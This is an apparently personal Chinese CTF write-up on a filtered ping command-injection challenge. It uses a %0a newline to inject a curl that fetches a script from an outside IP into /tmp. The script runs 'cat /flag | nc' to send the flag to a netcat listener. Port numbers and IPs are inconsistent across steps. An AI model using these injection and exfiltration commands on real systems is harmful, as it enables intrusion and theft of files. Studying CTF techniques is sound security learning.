服务器连接概括心得
1.由题目可知
我们首先要ping一下 ip=xxxxxxxxx
2.在谷歌浏览器中
3.%0a是换行符,换行执行
题目给出的有严重的过滤。
4.打开我们的服务器
了解一下
cat命令
cat是Linux的基本文本输出命令,通常用于查看文件内容。
作用:连接多个文件并且打印到屏幕输出,或者重定向到其他文件,也可以用来查看显示单个文件,或者多个文件。
nc命令
nc在ctf一般用来反弹shell 传输文件
(在pwn中用来连接远程服务器运行的程序)
5.在我们的服务器里建一个2.sh文件,里面写着
则:cat /flag | nc 我们服务器的ip 服务器监听端口
这句的意思
意思是c查看根目录下的flag
|
命令是执行完前命令后执行后执行后面的命令
nc xx.xx.xxx.xx 5566
是把发送到我们服务器监听的端口里
cat /flag | nc 47.93.123.22 5556
6.ip=127.0.0.1%0acurl 47.93.123.227/2.sh > /tmp/521.sh
这个意思是把我们服务器中的2.sh
写入到该题中的服务器/tmp/521.sh中
如果服务器中有这个文件则直接写入,否者在该题服务器中/tmp根目录下建立该文件。
7.一般写到/tmp文件夹下
一般写到/tmp文件夹下,因为/tmp文件夹一般权限比较大
其他文件夹可能没有写入的权限,
8.然后打开我们的服务器的端口监听
输入
nc -lvnp 5666
9.然后使用运行这个文件
运行这个文件就是执行/tmp/521.sh
这个就是cat /flag | nc 47.93.123.22 5666